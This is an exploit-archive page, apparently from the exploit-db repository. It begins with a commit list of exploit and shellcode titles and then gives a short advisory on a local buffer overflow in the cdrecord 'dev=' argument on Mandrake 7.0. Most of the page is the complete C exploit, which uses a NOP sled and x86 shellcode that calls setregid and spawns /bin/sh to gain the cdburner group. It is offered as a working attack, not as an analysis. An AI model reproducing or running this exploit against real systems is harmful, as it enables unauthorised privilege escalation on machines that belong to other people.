880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
54 lines
No EOL
2.1 KiB
C
54 lines
No EOL
2.1 KiB
C
// source: https://www.securityfocus.com/bid/1265/info
|
|
|
|
The linux cdrecorder binary is vulnerable to a locally exploitable buffer overflow attack. When installed in a Mandrake 7.0 linux distribution, it is by default setgid "cdburner" (which is a group, gid: 80, that is created for the application). The overflow condition is the result of no bounds checking on the 'dev=' argument passed to cdburner at execution time. This vulnerability can be exploited to execute arbitrary commands with egid "cdburner". cdburner has been verified (by the writers of the exploit) to be exploitable on an Intel linux system running Mandrake 7.0. Other distributions of linux may be vulnerable to this problem as well.
|
|
|
|
/* /usr/bin/cdrecord exploit by noir
|
|
* x86/Linux
|
|
* noir@gsu.linux.org.tr | noir@olympos.org
|
|
* dev= param overflow
|
|
* this script will get you gid = 80 group cdwriter
|
|
* tested on Mandrake 7.0 (Air)
|
|
* greetz: dustdevil, Cronos, moog, still, BlaCK #olympos irc.sourtimes.org
|
|
*
|
|
*
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
#define NOP 0x90
|
|
#define RET 0xbffffe66 //play with argv[1] +10, -10 if default is not ok
|
|
int
|
|
main(int argc, char *argv[])
|
|
|
|
{
|
|
unsigned char shell[] =
|
|
"\x31\xc0\xb0\x50\x89\xc3\x89\xc1\xb0\x47\xcd\x80" /*setregid(80, 80) */
|
|
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
|
|
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
|
|
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
|
|
|
|
char egg[400];
|
|
char buf[80];
|
|
int i, a;
|
|
long ret = RET;
|
|
|
|
if(argv[1])
|
|
ret = ret - atoi(argv[1]);
|
|
|
|
memset(egg, NOP, 400);
|
|
|
|
for(i = 0 ; i < 80 ; i+=4)
|
|
*(long *) &buf[i] = ret;
|
|
|
|
for( i = 300, a = 0; a < strlen(shell) ; i++, a++ )
|
|
egg[i] = shell[a];
|
|
|
|
buf[72] = 0x00;
|
|
egg[399] = 0x00;
|
|
printf("eip: 0x%x\n", ret);
|
|
|
|
setenv("EGG", egg, 1);
|
|
execl("/usr/bin/cdrecord", "cdrecord","dev=", buf, "/etc/passwd", 0);
|
|
|
|
} |